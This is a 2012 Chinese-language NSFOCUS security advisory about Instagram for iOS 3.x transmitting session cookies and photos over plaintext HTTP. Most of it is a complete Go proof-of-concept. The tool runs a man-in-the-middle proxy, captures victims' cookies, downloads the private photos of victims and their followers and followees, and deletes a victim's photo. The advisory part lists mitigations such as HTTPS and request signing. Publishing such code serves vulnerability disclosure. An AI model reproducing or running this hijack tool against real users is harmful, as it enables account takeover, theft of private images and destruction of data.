安全研究

安全漏洞
Instagram For iOS中间人信息泄露漏洞

发布日期:2012-11-20
更新日期:2012-11-21

受影响系统:
Instagram Instagram for iOS  3.x
描述:
BUGTRAQ  ID: 56603

Instagram是一款最初运行在iOS平台上的移动应用,可快速分享抓拍图片。

Instagram for iOS 3.1.2及其他版本存在信息泄露漏洞,通过HTTP协议以明文形式传输用户图片内容,攻击者可通过中间人攻击或嗅探网络流量,截获会话信息并删除或下载用户私密照片。

<*来源:Carlos Reventlov
  
  链接:http://secunia.com/advisories/51270/
        http://reventlov.com/advisories/instagram-plaintext-media-disclosure-issue
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
    Man Insta Middle

    Proof of concept.
    November 2012

    Carlos Reventlov <carlos@reventlov.com>

    http://reventlov.com/poc/instagram-for-iphone-man-in-the-middle-vulnerability
*/

package main

import (
    "encoding/json"
    "fmt"
    "github.com/gosexy/sugar"
    "github.com/gosexy/to"
    "github.com/xiam/hyperfox/proxy"
    "github.com/xiam/hyperfox/tools/logger"
    "io"
    "io/ioutil"
    "log"
    "net/http"
    "net/url"
    "os"
    "path"
    "regexp"
    "strings"
)

var userIdPattern = regexp.MustCompile(`user_id=([^;]+);`)
var fixInt64Pattern = regexp.MustCompile(`([^\\])":([0-9.]+)(\}|,|$)`)

type Victim struct {
    cookie string
    userId string
    Done   bool
}

var victims map[string]*Victim

func GetVictim(ip string) *Victim {
    if _, ok := victims[ip]; ok == false {
        fmt.Printf("** Hallo %s!\n", ip)
        victims[ip] = &Victim{}
    }
    return victims[ip]
}

func (self *Victim) SetCookie(cookie string) {
    self.cookie = cookie
}

func (self *Victim) instaRequest(method, endpoint string, body io.Reader) (*http.Request, error) {
    req, err := http.NewRequest(method, endpoint, body)

    if err != nil {
        return nil, err
    }

    req.Header.Add("User-Agent", "Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+")
    req.Header.Add("Cookie", self.cookie)
    req.Header.Add("Host", req.Host)
    req.Header.Add("Accept-Language", "en-us")
    req.Header.Add("Connection", "keep-alive")

    return req, nil
}

func downloadTo(uri string, file string) error {
    os.MkdirAll(path.Dir(file), os.ModeDir|0755)

    res, err := http.Get(uri)

    if err != nil {
        return err
    }

    fp, err := os.Create(file)

    if err == nil {
        fmt.Printf("** %s -> %s\n", uri, file)
        defer fp.Close()
        defer res.Body.Close()
        io.Copy(fp, res.Body)
    }

    return err
}

func (self *Victim) getFollowing(userId string) []int64 {
    data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/following?", userId))

    ids := []int64{}

    if err != nil {
        panic(err)
    }

    for _, userb := range to.List(data.Get("users")) {
        user := to.Tuple(userb)
        ids = append(ids, to.Int64(user.Get("pk")))
    }

    return ids
}

func (self *Victim) getFollowers(userId string) []int64 {
    data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/followers?", userId))

    ids := []int64{}

    if err != nil {
        panic(err)
    }

    for _, userb := range to.List(data.Get("users")) {
        user := to.Tuple(userb)
        ids = append(ids, to.Int64(user.Get("pk")))
    }

    return ids
}

func (self *Victim) pullPhotos(userId string) []string {
    ids := []string{}

    photos, err := self.apiGet(fmt.Sprintf("/api/v1/feed/user/%s/?", userId))

    if err != nil {
        panic(err)
    }

    for _, photob := range to.List(photos.Get("items")) {

        photo := to.Tuple(photob)

        fromUser := to.String(photo.Get("user/username"))
        images := to.List(photo.Get("image_versions"))

        image := to.Tuple(images[0])
        imageUri := to.String(image.Get("url"))

        go func() {
            err := downloadTo(imageUri, fmt.Sprintf("images/%s/%s", fromUser, path.Base(imageUri)))

            if err != nil {
                fmt.Errorf(err.Error())
            }
        }()

        ids = append(ids, to.String(photo.Get("id")))
    }

    return ids
}

func (self *Victim) deletePhoto(photoId string) {
    data, _ := self.apiPost(fmt.Sprintf("/api/v1/media/%s/delete/", photoId), nil)
    if data.Get("status") == "ok" {
        fmt.Printf("** Deleted photo: %s\n", photoId)
    }
}

func (self *Victim) apiRequest(method string, endpoint string, data url.Values, buf io.Reader, contentType string) (*sugar.Tuple, error) {
    var req *http.Request

    if buf == nil {
        if data == nil {
            req, _ = self.instaRequest(method, endpoint, nil)
        } else {
            req, _ = self.instaRequest(method, endpoint, strings.NewReader(data.Encode()))
        }
    } else {
        req, _ = self.instaRequest(method, endpoint, buf)
    }

    fmt.Printf("## %s %s\n", method, endpoint)

    if data != nil {
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
    } else if contentType != "" {
        req.Header.Set("Content-Type", contentType)
    }

    client := &http.Client{}

    res, err := client.Do(req)

    if err != nil {
        return nil, err
    }

    body, _ := ioutil.ReadAll(res.Body)
    result := &sugar.Tuple{}

    strbody := fixInt64Pattern.ReplaceAllString(string(body), `$1":"$2"$3`)

    err = json.Unmarshal([]byte(strbody), result)

    if err != nil {
        return nil, err
    }

    return result, nil
}

func (self *Victim) apiPost(endpoint string, data url.Values) (*sugar.Tuple, error) {
    return self.apiRequest("POST", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), data, nil, "")
}

func (self *Victim) apiGet(endpoint string) (*sugar.Tuple, error) {
    return self.apiRequest("GET", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), nil, nil, "")
}

func (self *Victim) TakeOver() error {

    if self.cookie != "" {

        found := userIdPattern.FindAllStringSubmatch(self.cookie, 1)

        if len(found) == 1 {
            self.userId = found[0][1]
        }

        if self.userId != "" {

            self.Done = true

            // Getting user photos.
            photoIds := self.pullPhotos(self.userId)

            // Deleting first page of photos.
            for _, photoId := range photoIds {
                self.deletePhoto(photoId)
                // This break was left intentionally here ;-).
                break
            }

            // Pulling followers's photos
            followers := self.getFollowers(self.userId)

            for _, followerId := range followers {
                self.pullPhotos(to.String(followerId))
            }

            // Pulling following's photos.
            following := self.getFollowing(self.userId)

            for _, followerId := range following {
                self.pullPhotos(to.String(followerId))
            }

        }

    }
    return nil
}

func waitForCookie(pr *proxy.ProxyRequest) io.WriteCloser {
    hostn := strings.SplitN(pr.Request.RemoteAddr, ":", 2)
    localIp := hostn[0]

    if pr.Request.Host == "instagram.com" {
        if strings.HasPrefix(pr.Request.RequestURI, "/api/") {
            victim := GetVictim(localIp)
            if victim.Done == false {
                victim.SetCookie(pr.Request.Header.Get("Cookie"))
                victim.TakeOver()
            }
        }
    }

    return nil
}

func main() {

    victims = make(map[string]*Victim)

    p := proxy.New()

    p.AddDirector(logger.Client(os.Stdout))

    p.AddWriter(waitForCookie)

    p.AddLogger(logger.Server(os.Stdout))

    var err error

    err = p.Start()

    if err != nil {
        log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
    }
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 对未加密的请求使用主体签名。

* 对所有API请求使用HTTPs

厂商补丁:

Instagram
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.instagram.com/

浏览次数:4164
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障